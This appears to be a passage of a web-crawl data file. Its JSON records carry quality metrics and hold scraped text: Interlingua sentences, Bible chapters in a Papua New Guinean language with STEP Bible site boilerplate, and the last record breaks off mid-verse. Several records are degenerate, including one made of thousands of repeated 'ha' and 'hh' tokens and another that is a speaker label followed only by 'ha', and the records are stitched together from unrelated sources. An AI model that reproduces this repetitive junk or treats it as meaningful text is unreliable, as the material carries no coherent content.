ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha hh hh hh hh hh hh hh hh hh hh hh hh hh hh hh hh hh hh hh hh hh hh hh hh hh hh hh hh hh hh hh hh hh hh hh hh hh hh hh hh hh hh hh hh hh hh hh hh hh hh hh hh hh hh hh hh hh hh hh hh hh hh hh hh hh hh hh hh hh hh hh hh hh hh hh hh hh hh hh hh hh hh hh hh hh hh hh hh hh hh hh hh hh hh hh hh hh hh hh hh hh hh hh hh hh hh hh hh hh hh hh hh hh hh hh hh hh hh hh hh hh hh hh hh hh hh hh hh hh hh hh hh hh hh hh hh hh hh hh hh hh hh hh hh hh hh hh hh hh hh hh hh hh hh hh hh hh hh hh hh hh hh hh hh hh hh hh hh hh hh hh hh hh hh hh hh hh hh hh hh hh hh hh hh hh hh hh hh hh hh hh hh hh hh hh hh hh hh hh hh hh hh hh hh hh hh hh hh hh hh hh hh hh hh hh hh hh hh hh hh hh hh hh hh hh hh hh hh hh hh hh hh hh hh hh hh hh hh hh hh hh hh hh hh hh hh hh hh hh hh hh hh hh hh hh hh hh hh\nShow Contact Information\nFacebook\nTwitter\nPinterest\nWhatsApp\nPrevious articlethere first!” cried Pinocchio.\nNext articlewith books under their arms, dashed\nEdition Digitale: 11 SEPTEMBRE 2024\nVIDEO\/AUDIO\nANOTHER VISION: Inside Haiti’s Uprising – 3 Part Playlist\nThe Assassination of President Jovenel Moïse: What’s Next? Mimi Rosenberg interviews Kim Ives on WBAI’s Equal Rights & Justice (7\/15\/21)\nhttps:\/\/haitiliberte.com\/wp-content\/uploads\/2021\/07\/2021-07-15-Mimi-Rosenberg-interviews-Kim-Ives-on-Equal-Rights-Justice.mp3","num_words":1382,"character_repetition_ratio":0.849,"word_repetition_ratio":0.903,"special_characters_ratio":0.318,"stopwords_ratio":0.001,"flagged_words_ratio":0.0,"lang_id_score":0.904,"perplexity_score":123830.5,"cluster_detection":-1} +{"text":"Secundo le zoologos, isto non es un ver serpente, ma un lacerta sin pedes. Io non es secur que io comprende a fundo le differentia, ma isto non importa.","num_words":31,"character_repetition_ratio":0.014,"word_repetition_ratio":0.0,"special_characters_ratio":0.217,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":128610.5,"cluster_detection":-1} +{"text":"Secundo le zoologos, isto non es un ver serpente, ma un lacerta sin pedes. Io non es secur que io comprende a fundo le differentia, ma isto non importa.","num_words":31,"character_repetition_ratio":0.014,"word_repetition_ratio":0.0,"special_characters_ratio":0.217,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":128610.5,"cluster_detection":-1} +{"text":"Joe Lieberman: ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha.","num_words":315,"character_repetition_ratio":0.984,"word_repetition_ratio":0.98,"special_characters_ratio":0.331,"stopwords_ratio":0.003,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":441383.0,"cluster_detection":-1} +{"text":"Ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ...............Lol ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha","num_words":48,"character_repetition_ratio":0.847,"word_repetition_ratio":0.692,"special_characters_ratio":0.392,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.998,"perplexity_score":242469.8,"cluster_detection":-1} +{"text":"Nos non vadeva in un loco multo original: nos justo nos promenava in le parco que nos ha retro le casa.","num_words":22,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.214,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":165265.6,"cluster_detection":-1} diff --git a/ina_Latn/new_cc_000006_stas.jsonl b/ina_Latn/new_cc_000006_stas.jsonl new file mode 100644 index 0000000000000000000000000000000000000000..1594983fb534e2bf9ab666e233326d3f61ad9a5f --- /dev/null +++ b/ina_Latn/new_cc_000006_stas.jsonl @@ -0,0 +1,115 @@ +[ + { + "avg": { + "num_words": 398.1111111111111, + "character_repetition_ratio": 0.5367407407407407, + "word_repetition_ratio": 0.5819259259259258, + "special_characters_ratio": 0.31344444444444447, + "stopwords_ratio": 0.0014814814814814818, + "flagged_words_ratio": 0.0, + "lang_id_score": 0.9178888888888888, + "perplexity_score": 265779.4111111111 + } + }, + { + "std": { + "num_words": 475.9989366104939, + "character_repetition_ratio": 0.3226925600942669, + "word_repetition_ratio": 0.369331420565236, + "special_characters_ratio": 0.07386841821696565, + "stopwords_ratio": 0.0025872961772700712, + "flagged_words_ratio": 0.0, + "lang_id_score": 0.1366751578211348, + "perplexity_score": 123987.76589450514 + } + }, + { + "median": { + "num_words": 170.0, + "character_repetition_ratio": 0.665, + "word_repetition_ratio": 0.716, + "special_characters_ratio": 0.329, + "stopwords_ratio": 0.0, + "flagged_words_ratio": 0.0, + "lang_id_score": 0.998, + "perplexity_score": 236452.7 + } + }, + { + "max": { + "num_words": 1382.0, + "character_repetition_ratio": 0.984, + "word_repetition_ratio": 1.0, + "special_characters_ratio": 0.419, + "stopwords_ratio": 0.008, + "flagged_words_ratio": 0.0, + "lang_id_score": 1.0, + "perplexity_score": 448825.6 + } + }, + { + "min": { + "num_words": 22.0, + "character_repetition_ratio": 0.0, + "word_repetition_ratio": 0.0, + "special_characters_ratio": 0.191, + "stopwords_ratio": 0.0, + "flagged_words_ratio": 0.0, + "lang_id_score": 0.6, + "perplexity_score": 122889.3 + } + }, + { + "90%": { + "num_words": 1175.6, + "character_repetition_ratio": 0.8478, + "word_repetition_ratio": 1.0, + "special_characters_ratio": 0.419, + "stopwords_ratio": 0.006400000000000002, + "flagged_words_ratio": 0.0, + "lang_id_score": 1.0, + "perplexity_score": 448825.6 + } + }, + { + "75%": { + "num_words": 751.5, + "character_repetition_ratio": 0.6875, + "word_repetition_ratio": 0.883, + "special_characters_ratio": 0.333, + "stopwords_ratio": 0.002, + "flagged_words_ratio": 0.0, + "lang_id_score": 1.0, + "perplexity_score": 372465.3 + } + }, + { + "50%": { + "num_words": 170.0, + "character_repetition_ratio": 0.665, + "word_repetition_ratio": 0.716, + "special_characters_ratio": 0.329, + "stopwords_ratio": 0.0, + "flagged_words_ratio": 0.0, + "lang_id_score": 0.998, + "perplexity_score": 236452.7 + } + }, + { + "25%": { + "num_words": 33.0, + "character_repetition_ratio": 0.3245, + "word_repetition_ratio": 0.2915, + "special_characters_ratio": 0.2565, + "stopwords_ratio": 0.0, + "flagged_words_ratio": 0.0, + "lang_id_score": 0.938, + "perplexity_score": 157926.45 + } + }, + { + "total size": "27", + "keep size": "12", + "remove size": "15" + } +] \ No newline at end of file diff --git a/kze_Latn/fineweb-2_000001_keep.jsonl b/kze_Latn/fineweb-2_000001_keep.jsonl new file mode 100644 index 0000000000000000000000000000000000000000..328d14f7d091313295fc8c763bab736172c91cd0 --- /dev/null +++ b/kze_Latn/fineweb-2_000001_keep.jsonl @@ -0,0 +1,185 @@ +{"text":"Luke 3\nYóni simátímakain-kwasai.1 Árómáani-kwaasiti anóndako áwíꞋa Táípíriyasi ména kawáá-máyáí mairéna sísamaivakemba évaꞋaasei kumbaimái-ima maisuwónkaꞋa Yútiyaa-marara-kawaanako áwíꞋa Póntíyasi Páíráti máyowana Káríri-marara-kawaanako áwíꞋa Éróti máyowana áváko áwíꞋa Vírípi kwemá Ítúréa-maravare Tárékónaitisi-maravare kárákwirowana Áráíseni Ápíríni-maravaꞋa kárákwirowasa 2 miráumai-kwaasi kárákwironkaꞋa Ánásiye Káyavaasiye aivaꞋ-mónó-káwáánákáí máyóyana Sékáraya ááninko áwíꞋa Yóni kavóná-maravaꞋa máyowana Áánútu aaimá simámuwana 3 Yóni Yótáni-nonkona arúváꞋá kwénaaena simátimena séna sáwí-imayaa tuwéꞋa ÁánútunopaꞋa tíyaꞋa nombá pétinkaanana Áánútu kentí sáwí-imayaa maitiyuwáníye Yóni siráiye. 4 mirá súntavena naaóváꞋá Áánútun-aai simátímakowai áwíꞋa Áísáya agaimaréna séna\n- moóráwai kavóná-maravaꞋa ména aayamáírakemba séna Ísóigona aambá kwirankánááomba kwená aambá arupí íyana minámpáꞋá kwíno.\n10 súwasa isésa sésa simásimenda-ainta nóraya ónaumno suwaná 11 Yóni séna kaer-únánkwátói makáawai ímo makáawaima moórá-mora-umai tímatuwaaro. toómbá makáawai ímo makáawaima moórá-mora-umai tímatuwaaro Yóni súwasa 12 táákísi-ontamba kwémayon-umoyan-kwaasi Yóni nombá pésinkainkwae sésa kwenópaꞋa tésa sésa anóndako ómpo nóraya ónaumno suwaná 13 Yóni séna íma kampaꞋá simái anón-ontamba maéꞋa táákísi-ontane suꞋmai máyáaro súwasa 14 i-kwáásí sésa kesáá nóraya ónaumno suwaná Yóni séna tínkantukeꞋa miwítí óísamba mayánáe íma seró. kampar-áímbá kwésimatimeꞋa miwítí óísamba mayánáe íma seró. kentí mayáígóná meéyántávéꞋa íma kayoréꞋa tirunkó kaweꞋá kwéinaꞋa máéro Yóni siráiye.\n15 Yútaa-kwaasi Áánútumo usásinankaiwaimba amuꞋmarésa mésa Yónin-aai isésa anón-imayaa ésa sésa Áánútumo usásinankaiwai kwemá YóniyaꞋi. áꞋowaawaꞋiyo kwésuwana 16 Yóni séna kesínaaemba tíníwai kwemá anóndakoma kembá usáyaaitaraimba póꞋa kwemó aaimó síndavimba kemá aaimá sendamá uwóvíꞋa ónaumne. kemá nombá pétinkaundanivo kwemá Áánútun-amankomba aiꞋmaráínana kuména keinárawapimba anómba umátinkaniye. iramó agáyáantemba íníye. 17 aawinkwínaumo sípétivimbo mósá makésamo iyaavumásúwááwanamo anómbo marapáꞋó kúmísanamo ásima úndáomo tútúwaisasamo kaíkaiꞋo ínín-iravimbo kwiyúmaimo agaisuwésamo anómbo naaúmpaꞋo mósá máráantemba kwaási miráráámbá íníye Yóni séna 18 Áánútuna áséi-kwasai ísámai kawer-ígwáe séna mirán-áímbá simátímaꞋmaena iráiye.\nÍsumba nombá pérankarain-kwasai.19 Yóni simátímaꞋmaena kwéiyena sáwíva-kwaasi nombá kwévetinkena naaémba Ísumba pérankowana námúnaa kwésuwana sokón-tawaai taaínkaar-úwana Áánútun-amanko mááiraamba úmaena aneꞋá kumbáyowana aaigówé suꞋmai kwíyómpakemba séna emá kesááninko ónaꞋa ená imáyáa kwéeꞋa ávááraumai aamoí umánkaumne siráiye.\nYóni Áánútuna áséi-kwasai kwésimatimumbanivo Káríri-marara-kawaanako áwíꞋa Érótima áváko awainínkó áwíꞋa Erotíyasimba mairówana mindáyavena óꞋon-oꞋon-tantaaꞋa sáwíꞋa uráintavena Yóni séna sáwísawaa kwéone súwana Éróti Yónimba áíꞋmai ándávaꞋa ankéna mindáyavena sáwí-mayai maimaéna iráiye.\nÍsu aíkwáꞋnái túwíkona kwaasái.23 Ísu marapáꞋá kumbéna kaumbo-síyáánkáí-ímá maisuwéna kwénaaena Áánútun-aai simátiminimba ááimba asówasa kwaási imáyáa ésa sésa Yósépi ááninkoman-iye kwésewe.\n- Yósépi avowá áwíꞋa Írai úwana\nCopyright information for `KZE\nWelcome to STEP Bible\nFrom Tyndale House, Cambridge UK\nUse the search box to find Bibles, commentaries, passages, search terms, etc. Here are some examples:\nESVGen 1\nThis shows how to quickly lookup a passage.\nNIVESVKJVGen 1\nLooking up a passage in three different translations is also easy.\nESVbrother\nThis asks STEP to search for the Greek word for 'brother' and show the results in the ESV.\nNIVESVlandhe.sed\nThis example runs both a 'Hebrew word search' and a 'Text' search and shows the results in both the NIV and ESV.\nESVthroneDavidIsa-Rev\nYou can mix most searches. This finds any word translated as 'throne' in the Prophets and the New Testament, but only in verses concerning the topic 'David'. This excludes verses which refer to a 'throne' in other contexts.\nKJVWHNUJohn 1\nInterlinear Hebrew & Greek is available for some translations with grammar (and more soon). To reverse the interlinear order, click on a version abbreviation under the verse number.\n© Tyndale House, Cambridge, UK - 2018","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.stepbible.org\/?q=version=KZE%7Creference=Luk.3","date":"2018-04-24T09:02:28Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125946578.68\/warc\/CC-MAIN-20180424080851-20180424100851-00034.warc.gz","language":"kze","language_score":0.9998050332,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"kze_Latn_score\": 0.9998050332069397}","num_words":501,"character_repetition_ratio":0.04,"word_repetition_ratio":0.0,"special_characters_ratio":0.159,"stopwords_ratio":0.088,"flagged_words_ratio":0.0,"lang_id_score":0.996,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Acts 21\nPóro YérúsaremuvaꞋa kuráin-kwasai.1 móruna aúwówata minkwáásíyávéta méwaro séta tiyuwéta nompí-sípívímbá usáateta arupí umái kweémeta Kóso-naopaꞋa kóyaaiteta kweémeta kógwaeta usá aaváyaavinkaamba Áróso-naopaꞋa kóyaaiteta kweémeta Pátaraa-naopaꞋa kuréta marapáꞋá ásáveta 2 awánaawandaya Vínísiyaa-maravaꞋa kwíní-nompi-sipi kwáyowata mimpímbá usáateta kweémeta 3 Sáíparasi-marama siyáánepaꞋa kwáyowata kóyaaiteta kweémeta Síriyaa-maravaꞋa kówándaya Táyaa-naopaꞋa náaindaamba mógwéyuwowata marapáꞋá ásávaawanasaya 4 Ísuna aampaꞋá kuwáí máyówata tuwánéta moórá-sontaa miwísé máyaawanasaya sésa Áánútun-amanko simátímakain-aimba Pórontavesa simámesa sésa inkámóvo YérúsaremuvaꞋa íma kwaaó simámaꞋmaesa íyúwata 5 miwísé máyaawanda-kanaa ánásowata mindáópaꞋa tuwéta kówánasaya minkwáásíyómbá miwítí aarai-iyámpóíse síꞋmaesaya naambáruꞋa tuwésa uwí-nómpáꞋá kúmúwata kívaireta ÁánútumpaꞋa námúnaa simásuweta ówánasaya 6 kentááyávésa ánivo koró suwatá miwíyávéta ánivo méwataao simásuweta nompí-sípívímbá usáataawanasaya miwí kuntauwerésa miwítí naaópaꞋa iráawe.\n7 miwítí naaópaꞋa íyúwata nompí-sípívímbá Táyaa-naopata tuwéta Tórémesi-naopata marapáꞋá ásáveta Ísun-aai ísówai tuwánéta siyáánta kwétimeta moórá-noꞋwaamba miwísé kwaéta 8 usásineta marapáꞋá kweémeta Sísáriyaa-naopaꞋa kówándaya ááéma aantá-kwaasi avakaeté-kwaasiraꞋa Ísuna mayáí tímakowaivinkemba moóráwai áwíꞋa Vírípina naaúmpata umáyaawananaya kwemá Ísun-aai kwésimatimuwai máyowasa 9 ayáámúmbaaꞋa éíyaimba mésa íma kwaaí mairésa úwoi mésa Áánútun-aai kwésimatimesa tivowáe máyówata 10 évakaꞋ-noꞋwaamba mindáúmpátá kwégwaewananaya moóráwai Áánútun-aai kwésimatimuwai áwíꞋa Ákápáasi Yútiyaa-maravakemba 11 kuména Póro ámúr-anda kumbairéna kwenaísamai ayáánkaꞋa asááumai umásítaiꞋa umái agaráárankena séna Áánútun-amanko séna maanámúr-ándáó avowámó YérúsaremuvaꞋo iyínasamo ésa Yútaa-kwaasi tátoꞋmai miráumai asááúmaresa áíꞋmaesa óꞋonkaa-kwaasi mátimenaaowe Áánútun-amanko siráiye Ákápáasi kusúwata 12 iséta keséya máyón-kwaasiye Pórontaveta séta YérúsaremuvaꞋa íma iyuwó asiramái séwánanaya 13 Póro séna nóintavai iviꞋá kwétera kaer-ímáyáá kwéumasinkaawana kesirunkó umbaí kwétaiyo. YérúsaremuvaꞋo íyónasamo kembó tátoranaaomba íma sááꞋa kwégaiye. Ísóigo Ísun-aai simátimudayavaimo sínkamonaesamo sésa úwoi sínkamonaaowe Póro súwata 14 kwenááiya íma kanaán-umaiya araaisénaumne séta ivátuweta séta Ísóigona imáyáaraꞋa mirá ónááowe siráundayaawe.\n15 mirá simásuweta évakaꞋ-noꞋwaamba miwísé kwaéta kentáásí náaindaamba toꞋmayaa úmaeta mindáópaꞋa tuwéta YérúsaremuvaꞋa iyówánasaya 16 Sísáriyaavaken-kwaasi Ísuna aampaꞋá kuwáí évakaꞋa keséya YérúsaremuvaꞋa iyésa moóráwai áwíꞋa Nésonona naaúmpata móisinkowana minkwáásígó Sáíparasi-maravaken-kwaasi ayáátáákaꞋa Ísuna aampaꞋá kwéguwai séna kesí naaúmpaꞋa ménaaowe súwasa kwená naaúmpata móisinkaraawe.\nPóroe Yémésiye aaí simátímakaayan-kwasai.17 móisinkesaya kentí naaópaꞋa kúmúwata YérúsaremuvaꞋa umáyaawanasaya Ísun-aai ísówai aamoí kwéumpinkemba sirówata 18 ugwaéwándaya usá aaváyaavimba Ísóigona kwaásiti anón-kwaasi Yémési torupamátinkowasa máyópata Póro síꞋmaenaya kúwata komáyaawananaya 19 Póro ayáámba tímaꞋmai paruvará éna séna Áánútu ámakaim-bayaimo óꞋonkaa-kwaasivimbo mairáin-aimba amápar-aimba simátimuwasa 20 isésa Áánútu áwíꞋa mósá marésa Pórontavesa sésa kentáásí kwaásiyo. sáwíva-kwaasi Yútaa-kwaasi Ísun-aaiyavesa áraire kwésesa Mósesina ámáámba íma tuwésa asiramái isésa méraamba áꞋa ísaraane. 21 évakarawai miwíyáváí sésa Póro óꞋonkaa-kwaasiti naaóꞋ-naoꞋa kwénaaena Yútaa-kwaasi mindáópakaꞋa máyáan-kwaasiyavai simátimena séna Mósesina ámáámba ivátuweꞋa kentí iyámpói túraꞋa íma kárámai araaꞋéna umátinkeꞋa Yútaa-kwaasiti aambá íma kwáráaro Póro kwésiye sewasá isésa 22 emó tiráanda-aimba isésa áwááꞋa kwésevo 23 simáméndantenta uwó. maankáꞋá éíyain-kwaasi mésa ÁánútumpaꞋa árair-aimba símakaamba po 24 egwáráꞋá mirán-uwo. Yútaa-kwaasiti ámáámba ísámai kaweꞋó ií-yántááꞋá e minéíyáín-kwáásítí póíꞋo meéyán-umátiyuwe mono-káwáá-kwáásí timé miwísé aꞋnóntáu káráyuwenasa awánésa Yútaa-kwaasi Ísun-aaiyavesa áraire sewáí sésa emá Mósesina ámáámba isé máyaanasa entáváí kampar-áímbá simánkaraawe seró. 25 ánivo óꞋonkaa-kwaasi Ísun-aaiyavesa áraire siráawaiyaveta ááéma moórá-aimba séta agaimaréta séta kampar-ísóígóntáváí imáyáa ésa póíꞋo umándaamba mimpóí íma naaró. naaemá íma naaró. póímo tuvúꞋnewana kwená naaemá ímo kumíndamo úwoimo kwáyáinaꞋa mimpóí íma naaró. aarai-úmóyámbá kwaai-úmóyámbá íma oró. ááéma mináímbá agaimaréta tukáundayaawe suwaná Póro iséna 26 usá aaváyaavimba minkwáásí tíꞋmaena Yútaa-kwaasiti ámáámba ísámai kaweꞋó ií-yántááꞋá usá umásuwena Póro anóm-bonoꞋ-naumpaꞋa iyéna mono-káwáá-kwáásíyávéna séna avakaeté-noꞋwaamba maisuwéta Yútaa-kwaasiti ámáámba ísámai kaweꞋó ií-yántááꞋá umái ánásasuweta moórá-morawai póíꞋa úmaeta ÁánútunkaꞋa máamenaundayaaniye simátímakaiye.\nanóm-bonoꞋ-naumpaꞋa Póromba tátokaan-kwasai.27 simátimena máyowana minávákáété-nóꞋwáámbá ánásowana Póro anóm-bonoꞋ-naumpaꞋa umáyomba évakaꞋa Yútaa-kwaasi Ésiyaa-maravakewai uawánésa Pórontavesa sáwí-aimba simánkesa inkamí-ímáyáá kwéesa tátokesa anónkaꞋa sésa 28 Ísareri-kwaasi súwaꞋnaa oro. maankwáásígó naaóꞋ-naoꞋa kwénaaena Ísareri-kwaasiyavena sáwí-aimba simátinkena Mósesina ámáámba simái sáwíꞋa kwéumankena maanánóm-bónóꞋ-námbá simái sáwíꞋa kwéiye. ívéꞋa óꞋonkaa-kwaasi tíꞋmaena maanánóm-bónóꞋ-náúmpáꞋá Yútaa-kwaasiye suꞋmaimo iyí-náúmpáꞋá mógwétinkaisana póna maankáwéꞋ-námbá sáwíꞋa kwéiye sumbá 29 Évésasi-naopaken-kwaasigo áwíꞋa Tóvimasi Póroe YérúsaremuvaꞋa kwénaauwasa awánonkaꞋa pósa imáyáa ésa Póro áíꞋmaena anóm-bonoꞋ-naumpaꞋa móankaraiye-imayaa kampaꞋá ésa mindáyavesa mináímbá siráawe.\n30 mináímbá anónkaꞋa simásuwowasa mindáópaken-kwaasi mimbórávímbá takwiyésa Póromba tayátoꞋmai monoꞋ-náúmpákémbá tavisímaesa mááꞋaruvaꞋa móruna auwésa monoꞋ-nánkóná onta mósá kwéumaresa 31 sáwíva-kwaasi Póromba inkamír-inkamiꞋa kwéuwana moóráwai Árómáani-i-kwaasiti anóndakontavena usimámena séna YérúsaremuvaꞋa amápa-kwaasi ááiꞋa kwétiyaawe súwana 32 avekáán-umai i-kwáásíyé miwítí kawáá-kwáásíyé tíꞋmaena isaaiséna kuména kwaási torupamái máyómpimba tavákáraaꞋa úmaena kumúwasa i-kwáásíyé miwítí anóndakone tuwánésa inkamé máyómba úwoi máyówana 33 anóndako Póromba tayátorena i-kwáásíyávéna séna kaer-ándánéí taasááóro simásuwena tísaa ena séna maankwáásí nááwaꞋiyo. kwe nóra uráiyo súwasa 34 évakarawai óꞋon-oꞋon-aintavesa suwasá évakarawai mirá suwasá uwaná anóndako mináínkóná ááimba íma iséna i-kwáásíyávéna séna mindáꞋá áíꞋmaeꞋa i-kwáásítí naaúmpaꞋa íyóro súwasa 35 áíꞋmaesa ontaví-káráúrávámbá íyúmba inkamónáesa kwéuntavai i-kwáásí tiyáánkaꞋa tokáꞋmaesa kwéiyuwasa 36 tínaaemba kwaꞋmaé kwéiyesa tuvuwíyana puwíno símaesa anónkaꞋa iráawe.\nPóro simátímakain-kwasai.37 i-kwáásí Póromba áíꞋmaesa miwítí naaúmpaꞋa iyónáe suwaná Póro miwítí anóndakomba simámena séna moórá-aimba simámenae súwana anóndako séna Kíríki-kwaasi tááivinkemba kwésempo 38 emá íma Ísípi-maravaken-kwaasi óne. minkwáásígó Árómáani-kamaani-kwaasiyavena aaisambá tiyéna sáwíva-kwaasi 4,000 kwaasi simái tíꞋmaena ááiꞋo tiyáí-yántááꞋá maimaésa kavóná-maravaꞋa kuráamba íma kwemá óne súwana 39 Póro séna Yútaa-kwaasi úne. kesinó kembá Sírísiyaa-maravaꞋa Táásási-naopaꞋa masínkarena anón-daopaꞋa masínkaraiye simásuwena séna moórá-aimba simátimenae súwana 40 anóndako séna ánivo mirán-uwo súwana Póro ontará-káráúráꞋá ména aaiseránááontavena ayáámba mósá tuwéna séna kemó senda-áímbá ísáaro súwasa aaisérówana Yútaa-kwaasi tááivinkemba Ípírun-aimpinkemba simátímakaiye.\nCopyright information for `KZE\nWelcome to STEP Bible\nFrom Tyndale House, Cambridge UK\nUse the search box to find Bibles, commentaries, passages, search terms, etc. Here are some examples:\nESVGen 1\nThis shows how to quickly lookup a passage.\nNIVESVKJVGen 1\nLooking up a passage in three different translations is also easy.\nESVbrother\nThis asks STEP to search for the Greek word for 'brother' and show the results in the ESV.\nNIVESVlandhe.sed\nThis example runs both a 'Hebrew word search' and a 'Text' search and shows the results in both the NIV and ESV.\nESVthroneDavidIsa-Rev\nYou can mix most searches. This finds any word translated as 'throne' in the Prophets and the New Testament, but only in verses concerning the topic 'David'. This excludes verses which refer to a 'throne' in other contexts.\nKJVWHNUJohn 1\nInterlinear Hebrew & Greek is available for some translations with grammar (and more soon). To reverse the interlinear order, click on a version abbreviation under the verse number.\n© Tyndale House, Cambridge, UK - 2018","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.stepbible.org\/?q=version=KZE%7Creference=Act.21","date":"2018-04-20T01:18:15Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125937090.0\/warc\/CC-MAIN-20180420003432-20180420023432-00288.warc.gz","language":"kze","language_score":0.9999790192,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"kze_Latn_score\": 0.9999790191650391}","num_words":910,"character_repetition_ratio":0.052,"word_repetition_ratio":0.0,"special_characters_ratio":0.149,"stopwords_ratio":0.088,"flagged_words_ratio":0.0,"lang_id_score":0.997,"perplexity_score":500.0,"cluster_detection":1} +{"text":"John 13\nÍsu kwená kwaási tísamairaꞋa nombá pétinkarain-kwasai.1 tíyótaasa í-tánón-kánáá aaváyaaraamba kwáyowana ívékaamba Ísu imáyáama éna séna marapáꞋá tuwéꞋa kesivonópaꞋa kuntauweréꞋa iyónaunda-kanaama kwétiye séna marapá-kwáásí kwenááima ísón-kwaasi ávááraumai imáyáama tiména miwíyáváíyé séna puwíníye súwana 2 Sáátáánigo Sáímoni ááninkomba áwíꞋa Yútási Isakéríótimba Ísuna kuntaruꞋá uwó-ímáyáámá ámakowasa Ísuwe kwená kwayó-kwáásíyé toómbá kwénowana 3 avowámá amápar-asirayamba ámakowana póna Áánútunopakemba kunkáunda póꞋa kuntauweréꞋa iyónaumne-imayaama Ísu éna póna 4 toómbá némáyonkakemba usásinena paákákén-únánkwátói ayúꞋmarena táúri úsúmaena 5 táávepimba nombá atímarena kwená kwayó-kwáásí tísamairaꞋa nombá pétinkena táúrinei uwátuwena 6 Ísuma Sáímoni PítaanopaꞋa túwana séna Ísóigoo íma kesísamairaꞋa nombá pésinkaao súwana 7 Ísu séna kemó úndama ívéꞋa íma kwéisaanda po aáno isáníyone súwana 8 Pítaa séna kesísamairaꞋo nombó pésinkendayaveꞋa aꞋáo síma simaꞋa ónaumne súwana Ísu séna enaísamairaꞋo ímo nombó pérankaanamo éma kesí kwaási-iꞋa íma íníyone súwana 9 Pítaa séna Ísóigoo ená kwaási-iꞋa ónáe súmpo sísamairare suꞋmai íma pésinkenda síyayaampakwara siꞋnómpákwáráꞋá nombá pésinkaao súwana 10 Ísu séna nombó pékaawaimo ésa íma amápa-kuvaꞋa nombá peránááovo tísamairare suꞋmai nombá peránááowe. keinárawaꞋa nombá pétasaawana kímborawai íma nombá pékaiye súmba 11 Ísu kwená kuntaru-kwáásígómbá ísarontavena séna keinárawaꞋa nombá pétasaawana kímborawai íma nombá pékaiye siráiye.\n12 Ísu simásuwena tísamairaꞋa nombá pétinkayuwena paákákén-únánkwátóimo ayúꞋmaromba maimái úmaena ménamo toómbó némáyopaꞋa kwéna tísaa ena séna kemó úndawaina ááimba ára kwéisaao. 13 kentávéꞋa séꞋa amápa-tantaaꞋa agaráásinkaandawaima Ísóigoma ónemo sembá áraiꞋa mirán-kwáásímá úne. 14 kemá kentí agaráátinkainaꞋa Ísóigoma póꞋa tísamairaꞋa nombá kwévetinkaundayaveꞋa kemá moórá-mora-umai nombá pétinkaaro. 15 kemó kentí kwayóꞋó maráúndantemba keinárawakwaraꞋa mirán-oro. 16 áraiꞋa simátimeꞋa séꞋa kwayó-kwáásímó ésa miwítí anón-kwaasigomba íma usáyaaitanaaowe. tiꞋmákaiwain-aai maimaésa kosimátímakaawaimo ésa tiꞋmákaiwaimba íma usáyaaitanaaowe. 17 miráumai kemó uráunda áꞋa awánaraavo mirámó íyambo éꞋa tirumbá kaweꞋá ónááowe. 18 keinárawapinkemba íma amáparawaiyaveꞋa súmpo ítátinkaunda-kwaasi áꞋa túyaraumne. Áánútun-aai aúváívimba agaimaréna séna kesé moórávinkembo toómbó naráiwaima kesí kuntaru-kwáásímán-iye agaimaréna siráimba áraiꞋa siráiye. 19 íma paáruraisaꞋa simátimunda póna aánomo paárínaꞋa kentávéꞋa séꞋa áraiꞋa séna Áánútunopakemba kunkáiye sénááowe. 20 áraiꞋa simátimeꞋa séꞋa tiꞋmáráanasa kwíyawai táái ísámai kaweꞋá íyanten-umai kesáái ísámai kaweꞋá ónááowe. kesááimo isáíyanten-umai siꞋmákaiwain-aai isánááowe Ísu siráiye.\nmoóráwai kesí kuntaruꞋá íníye Ísu siráin-kwasai.21 Ísu simásuwena kwenarumbá umbaí tówana séna áraiꞋa simátimeꞋa séꞋa keinárawapinkemba moóráwai kembá namuro-kwáásíráꞋá agaráátinkaniye súwata 22 kwená kwayó-kwáásí moórá-mora-umai méta kwenaúvínaayaivimba éta nááwantavena siíyó séta 23 kwená kwayó-kwáásí Ísuma kembá arumbá símakowaima Ísuna egwaaꞋá máyaawanana 24 Sáímoni Pítaa kentávéna aúwánáán-awaameꞋa éna séna nááwantavai seénó se áísaa uwo súwaꞋa 25 avakáá-umai áísaa eꞋa séꞋa 